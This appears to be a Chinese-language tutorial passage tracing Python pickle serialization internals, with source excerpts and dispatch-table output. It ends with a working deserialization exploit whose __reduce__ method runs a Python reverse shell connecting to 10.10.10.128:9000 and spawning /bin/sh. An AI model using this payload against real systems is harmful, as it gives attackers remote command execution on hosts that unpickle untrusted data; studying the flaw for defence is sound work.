def save(self, obj, save_persistent_id=True): t = type(obj) # Check the type dispatch table t = type(obj) f = self.dispatch.get(t) if f is not None: f(self, obj) # Call unbound method with explicit self return # Check private dispatch table if any, or else copyreg.dispatch_table reduce = getattr(self, 'dispatch_table', dispatch_table).get(t) if reduce is not None: rv = reduce(obj) else: # Check for a class with a custom metaclass; treat as regular class try: issc = issubclass(t, type) except TypeError: # t is not a class (old Boost; see SF #502085) issc = False if issc: self.save_global(obj) return
这里根据序列化对象的类型有不同的调度器,输出一下dispatch看得更清楚
1
{<class 'NoneType'>: <function _Pickler.save_none at 0x00000212FF863268>, <class 'bool'>: <function _Pickler.save_bool at 0x00000212FF8632F0>, <class 'int'>: <function _Pickler.save_long at 0x00000212FF863378>, <class 'float'>: <function _Pickler.save_float at 0x00000212FF863400>, <class 'bytes'>: <function _Pickler.save_bytes at 0x00000212FF863488>, <class 'str'>: <function _Pickler.save_str at 0x00000212FF863510>, <class 'tuple'>: <function _Pickler.save_tuple at 0x00000212FF863598>, <class 'list'>: <function _Pickler.save_list at 0x00000212FF863620>, <class 'dict'>: <function _Pickler.save_dict at 0x00000212FF863730>, <class 'set'>: <function _Pickler.save_set at 0x00000212FF863840>, <class 'frozenset'>: <function _Pickler.save_frozenset at 0x00000212FF8638C8>, <class 'function'>: <function _Pickler.save_global at 0x00000212FF863950>, <class 'type'>: <function _Pickler.save_type at 0x00000212FF8639D8>}
本例的对象为字符串类型,调用save_str函数 跟进save_str函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
if self.bin: encoded = obj.encode('utf-8', 'surrogatepass') n = len(encoded) if n <= 0xff and self.proto >= 4: self.write(SHORT_BINUNICODE + pack("<B", n) + encoded) elif n > 0xffffffff and self.proto >= 4: self._write_large_bytes(BINUNICODE8 + pack("<Q", n), encoded) elif n >= self.framer._FRAME_SIZE_TARGET: self._write_large_bytes(BINUNICODE + pack("<I", n), encoded) else: self.write(BINUNICODE + pack("<I", n) + encoded) else: obj = obj.replace("\\", "\\u005c") obj = obj.replace("\n", "\\u000a") self.write(UNICODE + obj.encode('raw-unicode-escape') + b'\n') self.memoize(obj)
<function _Pickler.save_str at 0x000001FD12C93510> <function _Pickler.save_type at 0x000001FD12C939D8> None
save_global函数
1 2 3 4 5 6 7 8 9 10 11
# Check for a __reduce_ex__ method, fall back to __reduce__ reduce = getattr(obj, "__reduce_ex__", None) if reduce is not None: rv = reduce(self.proto) else: reduce = getattr(obj, "__reduce__", None) if reduce is not None: rv = reduce() else: raise PicklingError("Can't pickle %r object: %r" % (t.__name__, obj))
import pickle import os class A(object): def __reduce__(self): a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",9000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" return (os.system,(a,)) result = pickle.dumps(A()) pickle.loads(result)